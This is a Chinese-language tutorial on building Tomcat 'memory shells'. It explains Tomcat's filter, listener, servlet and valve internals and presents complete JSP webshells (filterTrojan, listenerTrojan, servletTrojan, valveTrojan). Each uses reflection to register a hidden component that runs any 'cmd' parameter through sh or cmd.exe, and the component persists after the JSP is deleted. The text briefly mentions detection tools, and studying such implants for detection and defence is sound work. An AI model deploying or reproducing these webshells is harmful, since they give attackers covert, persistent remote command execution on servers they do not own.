基础知识:https://www.freebuf.com/articles/web/274466.html
内存马主要分为以下几类:
servlet-api类
filter型
servlet型
spring类
拦截器
controller型
Java Instrumentation类
agent型
请求会经过filter到达servlet,动态创建fliter放在最前面,就会命令执行
具体新建servlet的过程:https://blog.csdn.net/gaoqingliang521/article/details/108677301
新建一个servlet:
package org.example; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; @WebServlet("/servlet") public class servlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException{ resp.getWriter().write("hello servlet"); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { } }
配置tomcat:应用程序上下文表示http访问servlet的地址,这里就是localhost:8080/servlet
自定义的filter:
import javax.servlet.*; import java.io.IOException; public class filterDemo implements Filter { public void init(FilterConfig filterConfig) throws ServletException { System.out.println("Filter 初始化创建"); } public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("执行过滤操作"); filterChain.doFilter(servletRequest,servletResponse); } public void destroy() {} }
修改web.xml,指定url-pattern为/demo
,也就是访问http://localhost:8080/servlet/demo时触发filter,一直刷新一直触发
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <filter> <filter-name>filterDemo</filter-name> <filter-class>org.example.filterDemo</filter-class> </filter> <filter-mapping> <filter-name>filterDemo</filter-name> <url-pattern>/demo</url-pattern> </filter-mapping> </web-app>
分析之前在项目结构->模块->依赖里导入tomcat/lib的包
如果可以把自己创建的FilterMap放在FilterMaps的最前面,urlpattern匹配到的时候,就能把恶意FilterConfig添加到FilterChain中,然后触发shell
filterChain来自creatFilterChain
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w
Tomcat中ServletContext实现类为ApplicationContext。ApplicationContext实例中又包含了StandardContext实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。
由于正常环境不能直接修改web.xml。但是可以通过反射生成恶意filterDefs、filterConfig、filterMaps,三个一起放入Context就起到了web.xml注册一样的效果
要实现filter型内存马,需要经过:
因为filter生效会有一个先后顺序,所以一般来讲我们还需要把我们的filter给移动到FilterChain的第一位去。
每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启。
在Tomcat 7.x以上才支持Servlet3,而java.servlet.DispatcherType类在servlet3才引入。所以filter型内存马需要Tomcat7以上
servlet提供了request.getSession().getServletContext()获取servletContext
不过该方法直接获取到的是ApplicationContextFacade,它封装了ApplicationContext。然后ApplicationContext封装了StandardContext
表达式((RequestFacade)servletRequest).request.getSession().getServletContext()
因此调两次反射就能拿到StandardContext
<% Field appContextField = ApplicationContextFacade.class.getDeclaredField("context"); appContextField.setAccessible(true); Field standardContextField = ApplicationContext.class.getDeclaredField("context"); standardContextField.setAccessible(true); ServletContext servletContext = request.getSession().getServletContext(); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); %>
不过servlet环境的request实际上为RequestFacade对象,它的request属性存储了Request对象,Request对象的getContext能直接拿到Context
Field requestField = request.getClass().getDeclaredField("request"); requestField.setAccessible(true); Request request1 = (Request) requestField.get(request); StandardContext standardContext = (StandardContext) request1.getContext();
FilterDef提供了setFilter来修改filter
然后用StandardContext#addFilterDef()来添加FilterDefs
生成恶意filter:接收cmd作为参数,System.getProperty(os.name)获取系统变量,用来判定系统为Linux or windows。然后调用Runtime#exec()进行命令执行。
Filter filter = new Filter() { @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException { if (request.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); response.getWriter().flush(); } chain.doFilter(request, response); } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName("evilFilter"); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);
Scanner(in).useDelimiter("\\A");
scannner读入所有输入,包括回车和换行符(默认读到空格停止,\\A
表示以文本开头作为分隔符分割文本)
将output写入response,获取完参数将request和response作为回调参数调用doFilter。
重点在于setFilter修改filter,然后使用standardContext.addFilter()添加FilterDefs
利用反射获取filterConifigs,filterConfigs实际上是个hashmap,put进去就行了
前面说过了,standardContext实际上是ApplicationFilterConfigContext封装的。
利用ApplicationFilterConfigContext构造函数来封装filterfDefs,不过该构造函数无修饰符,为default(同包可用),使用反射
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs"); filterConfigsField.setAccessible(true); Map filterConfigs = (Map) filterConfigsField.get(standardContext); filterConfigs.put("evilFilter", filterConfig);
filterMaps需要设置名称,pattern,dispatcher
这里的dispatcher需要设置为DispatcherType.REQUEST,该选项指定了filter过滤器根据DispatcherType的类型是否执行。这也是为什么需要tomcat7以上的原因
FilterMaps可以用两种方式添加map:addFilterMap 或者addFilterMapBefore(),后者可以将filter添加至最前面
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName("evilFilter"); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap);
将抽象类的方法补全就能用了
完整代码:
// filterTrojan.jsp <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.core.ApplicationContextFacade" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.util.Map" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% Field appContextField = ApplicationContextFacade.class.getDeclaredField("context"); appContextField.setAccessible(true); Field standardContextField = ApplicationContext.class.getDeclaredField("context"); standardContextField.setAccessible(true); ServletContext servletContext = request.getSession().getServletContext(); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException { if (request.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); response.getWriter().flush(); } chain.doFilter(request, response); } @Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName("evilFilter"); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs"); filterConfigsField.setAccessible(true); Map filterConfigs = (Map) filterConfigsField.get(standardContext); filterConfigs.put("evilFilter", filterConfig); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName("evilFilter"); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); out.println("Inject done"); %>
而且不需要指定jsp路径,因为注册的filterMap的pattern为/*
项目链接:https://github.com/alibaba/arthas
我们可以利用该项目来检测我们的内存马
java -jar arthas-boot.jar --telnet-port 9998 --http-port -1
这里也可以直接 java -jar arthas-boot.jar
项目链接:https://github.com/LandGrey/copagent
项目链接:https://github.com/c0ny1/java-memshell-scanner
Listener用来监听对象创建、销毁、属性增删改,然后执行对应的操作。
在Tomcat中,Listener->Filter->Servlet依次执行。
Tomcat支持两种listener:org.apache.catalina.LifecycleListener
和Java.util.EvenListener
,前者一般不能使用
实现了EvenListener的ServletRequestListener可以监听Request请求的创建和销毁(这么好的类当然要拿来做内存马
servlet启动时,在StandardHostValue#invoke()中对监听器进行检查
其中context.fireRequestInitEvent调用getApplicationEventListeners方法获取全部Listener
if判断有Listener并且为ServletRequestListener子类,就调用ServletRequestListener#requestInitialized()方法
在StandardHostValue#invoke()下面,调用fireRequestDistroyEvent()销毁
实际上也就是getApplicationEventListeners方法获取全部Listener后,使用ServletRequestListener#requestDestroyed()方法
由此可见生成Listener只需要经过两个方法,一个是requestInitialized(),一个是requestDestroyed()。这两个方法重写后效果是一样的
上文已经介绍了如何获取context,一样的通过反射获取Request,然后获取StandardContext
Field requestField = request.getClass().getDeclaredField("request"); requestField.setAccessible(true); Request request1 = (Request) requestField.get(request); StandardContext standardContext = (StandardContext) request1.getContext();
getParameter进行命令执行的地方就不多说了。创建Listener需要执行ServletRequestListener#requestInitialized(),那就new一个ServletRequestListener类然后重写requestInitialized方法。
ServletRequestEvent提供了getServletRequest()方法获取request
上面获取context过程中用到的request1为Request对象,封装了getter获取response
ServletRequestListener listener = new ServletRequestListener() { @Override public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); HttpServletResponse resp = request1.getResponse(); if (req.getParameter("cmd") != null) { try { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String out = s.hasNext()?s.next():""; resp.getWriter().write(out); resp.getWriter().flush(); }catch (IOException ioe){ ioe.printStackTrace(); } } }
反射获取的StandardContext有addApplicationEventListener()添加Listener
standardContext.addApplicationEventListener(listener);
注意这里request1需要用final修饰,不然在newServletRequestListener匿名内部类里无法使用,会报Cannot refer to the non-final local variable request1 defined in an enclosing scope
错误
POC:
// listenerTrojan.jsp <%@ page import="java.io.InputStream" %> <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Scanner" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% Field requestField = request.getClass().getDeclaredField("request"); requestField.setAccessible(true); final Request request1 = (Request) requestField.get(request); StandardContext standardContext = (StandardContext) request1.getContext(); ServletRequestListener listener = new ServletRequestListener() { @Override public void requestDestroyed(ServletRequestEvent servletRequestEvent) { } @Override public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); HttpServletResponse resp = request1.getResponse(); if (req.getParameter("cmd") != null) { try { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String out = s.hasNext()?s.next():""; resp.getWriter().write(out); resp.getWriter().flush(); }catch (IOException ioe){ ioe.printStackTrace(); } } } }; standardContext.addApplicationEventListener(listener); out.println("inject done!"); out.flush(); %>
Servlet开始于Web容器启动,直到Web容器停止运行。要注入servlet,就需要开启动态添加Servlet,在Tomcat7以后才有addServlet()方法
Context 负责管理 Wapper ,而 Wapper 又负责管理 Servlet 实例。
通过StandardContext.createWapper()创建Wapper对象。
创建好了Wapper,跟进一下Servlet配置流程,在 org.apache.catalina.core.StandardWapper#setServletClass() 下断点
在ContextConfig#webconfig()处配置webconfig,根据web.xml配置context
然后调用了configureContext()
configureContext()依次读取了 Filter、Listener、Servlet的配置及其映射
在Servlet部分createWrapper()、设置了启动优先级LoadOnStartUp以及servletName。这里loadOnStartup就是负责动态添加Servlet的函数
然后设置了servletClass
最后把wrapper 添加进context的child
循环遍历完了所有servlets,接下来添加Servlet-Mapper,也就是web.xml中的<servlet-mapping>
。循环addServletMappingDecoded将url和servlet类做映射
总结一下servlet注册过程:
其实到这里就能模拟servlet注册构造内存马了
不过LoadOnStartup设置优先级,也就是动态添加servlet的过程还不清楚
跟进到startInternal,发现在加载完Listener和Filter后,开始loadOnstartup
findChildren()将所有Wrapper传入loadOnStartup()处理,loadOnStartup获取到所有Wrapperchild,并且getLoadOnstartup获取到servlet启动顺序,>=0的存放在wapper_list
如果loadOnstartup<0,则不会被动态添加到容器。该属性对应了web.xml中的<load-on-startup>
,该属性默认-1
循环装载wrapper
装载过程总的一句话,LoadOnStartup>=0才行
<% Field requestField = request.getClass().getDeclaredField("request"); requestField.setAccessible(true); final Request request1 = (Request) requestField.get(request); StandardContext standardContext = (StandardContext) request1.getContext();
ApplicationFilterChain#doFilter()会调用servlet.service()
service()方法实际上在HttpServlet.class中,提供了多种http方法,所以我们不仅可以在servlet中重写doGet、doPost等触发RCE,还能直接重写service
HttpServlet servlet = new HttpServlet() { @Override protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { if (request.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); response.getWriter().flush(); } } };
createWrapper()创建wrapper,设置servletName,修改LoadOnStartup属性值,还有ServletClass指向类
Wrapper wrapper = standardContext.createWrapper(); wrapper.setName("servletTrojan"); wrapper.setLoadOnStartup(1); wrapper.setServlet(servlet); wrapper.setServletClass(HttpServlet.class.getName()); standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/*", "servletTrojan");
完整代码:
//servletTrojan.jsp <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <% Field requestField = request.getClass().getDeclaredField("request"); requestField.setAccessible(true); final Request request1 = (Request) requestField.get(request); StandardContext standardContext = (StandardContext) request1.getContext(); HttpServlet servlet = new HttpServlet() { @Override protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { if (request.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); response.getWriter().flush(); } } }; Wrapper wrapper = standardContext.createWrapper(); wrapper.setName("servletTrojan"); wrapper.setLoadOnStartup(1); wrapper.setServlet(servlet); wrapper.setServletClass(HttpServlet.class.getName()); standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/*", "servletTrojan"); out.println("inject done!"); out.flush(); %>
测试的时候记得把上一个马删掉,以免冲突
value是Tomcat中对Container组件进行的扩展。Container组件也就是前文一直提及的Tomcat四大容器
Tomcat由四大容器组成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。只包含一个引擎(Engine):
Engine(引擎):表示可运行的Catalina的servlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。
Host (虚拟主机):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是 Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml。
Context(上下文):代表 Servlet 的 Context,它具备了 Servlet 运行的基本环境,它表示Web应用程序本身。Context 最重要的功能就是管理它里面的 Servlet 实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。
Wrapper(包装器):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。
这四大组件都有自己的管道Pipeline。就像前文Filter和Servlet的实际处理请求的方法,都在Wrapper的管道Pipeline->Valve-ValveBase-StandardWrapperValve#invoke方法中调用
Pipeline就相当于拦截器链,具体看https://www.cnblogs.com/coldridgeValley/p/5816414.html
当请求到达Engine
容器的时候,Engine
并非是直接调用对应的Host
去处理相关的请求,而是调用了自己的一个组件去处理,这个组件就叫做pipeline
组件
valve接口
valve的invoke方法将请求传入下一个valve。如果不调用下一个valve的invoke,那请求到此中断
在servlet调试时也能看到依次调用valve的过程:
Valve
存放的方式并非统一存放在Pipeline
中,而是像一个链表一个接着一个。
调用getNext()
方法即可获取在这个Pipeline
上的下个Valve
实例
一般使用实现了valve接口的ValveBase类:
新建valve只需要继承ValveBase类并实现invoke方法,pipeline管道会依次执行valve的invoke
public class EvilValve extends ValveBase{ @Override public void invoke(Request request, Response response) { try{ Runtime.getRuntime().exec("calc"); this.getNext().invoke(request, response); }catch (Exception e){ e.printStackTrace(); } } }
四大组件Engine/Host/Context/Wrapper都有自己的Pipeline,在ContainerBase基类里定义了Pipeline:
而StandardPipeline标准类里有addValve方法
在CoyoteAdapter.service()获取了Pipeline的第一个Valve,并且调用了invoke
这里的第一个valve就是StandardEngineValve
跟进到StandardEngineValve#invoke,可以看到调用了下一个invoke,在左下角的调试框,也就是valve.invoke的调用顺序
根据valve的生成和配置,模拟注册恶意valve:
Field requestField = request.getClass().getDeclaredField("request"); requestField.setAccessible(true); final Request request1 = (Request) requestField.get(request); StandardContext standardContext = (StandardContext) request1.getContext();
Field pipelineField = ContainerBase.class.getDeclaredField("pipeline"); pipelineField.setAccessible(true); StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext);
ValveBase valveBase = new ValveBase() { @Override public void invoke(Request request, Response response){ try { Runtime.getRuntime().exec("calc"); } catch (Exception e) { e.printStackTrace(); } } }; standardPipeline1.addValve(valveBase);
为了使正常invoke能进行下去,恶意valve也应该调用下一个valve.invoke
this.getNext().invoke(request, response);
完整代码:
//valveTrojan.jsp <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.valves.ValveBase" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.core.*" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% Field requestField = request.getClass().getDeclaredField("request"); requestField.setAccessible(true); final Request request1 = (Request) requestField.get(request); StandardContext standardContext = (StandardContext) request1.getContext(); Field pipelineField = ContainerBase.class.getDeclaredField("pipeline"); pipelineField.setAccessible(true); StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext); ValveBase valveBase = new ValveBase() { @Override public void invoke(Request request, Response response) throws ServletException,IOException { if (request.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); response.getWriter().flush(); this.getNext().invoke(request, response); } } }; standardPipeline1.addValve(valveBase); out.println("evil valve inject done!"); %>
至于为什么说是内存马,比如上面listenerTrojan.jsp访问一遍后,注册了listener。然后就可以把jsp删掉了,再访问上下文环境就能直接带上参数命令执行。只要服务器不重启就一直运行
不过上述内存马都不是真正意义上的内存马,它们会输出在tomcat的目录下
比如上述运行的jsp,在CTALINA_BASE环境的work\Catalina\localhost\Servlet_web环境\org\apache\jsp
都有相应的文件
关于真正意义上的内存马注入:http://wjlshare.com/archives/1541
借助cc链进行内存马注入
参考:http://wjlshare.com/archives/1529
https://paper.seebug.org/1441/#1_1
参考了Ho1aAs的多篇文章:https://ho1aas.blog.csdn.net/article/details/124120724